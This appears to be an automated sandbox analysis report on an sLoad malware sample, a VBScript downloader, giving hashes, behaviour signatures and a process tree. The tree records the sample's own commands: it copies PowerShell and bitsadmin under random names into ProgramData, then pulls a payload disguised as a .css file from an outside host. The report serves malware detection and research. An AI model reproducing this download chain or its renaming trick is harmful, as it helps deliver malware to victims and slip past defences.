Analysis

  • max time kernel
    64s
  • max time network
    87s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220331-en
  • submitted
    28/03/2022, 04:01

General

  • Target
    23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs
  • Size 6KB
  • Sample220328-elfcwsccaq
  • SHA256 23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4636
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:504
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe
        3⤵
          PID:1580
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe
          3⤵
            PID:1904
        • C:\ProgramData\YVxNfVgin.exe
          "C:\ProgramData\YVxNfVgin.exe" /transfer HYlQgP /download https://fhivelifestyle.online/lidepato/MLIMNT54C54F979H/1x1.css C:\Users\Admin\AppData\Roaming\1x1.css
          2⤵
          • Executes dropped EXE
          PID:4648

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            YVxNfVgin.exe

            • Path C:\ProgramData\YVxNfVgin.exe
            • Size 182KB
            • SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
            • MD5 SHA1 SHA512 SSDEEP

            YVxNfVgin.exe

            • Path C:\ProgramData\YVxNfVgin.exe
            • Size 182KB
            • SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
            • MD5 SHA1 SHA512 SSDEEP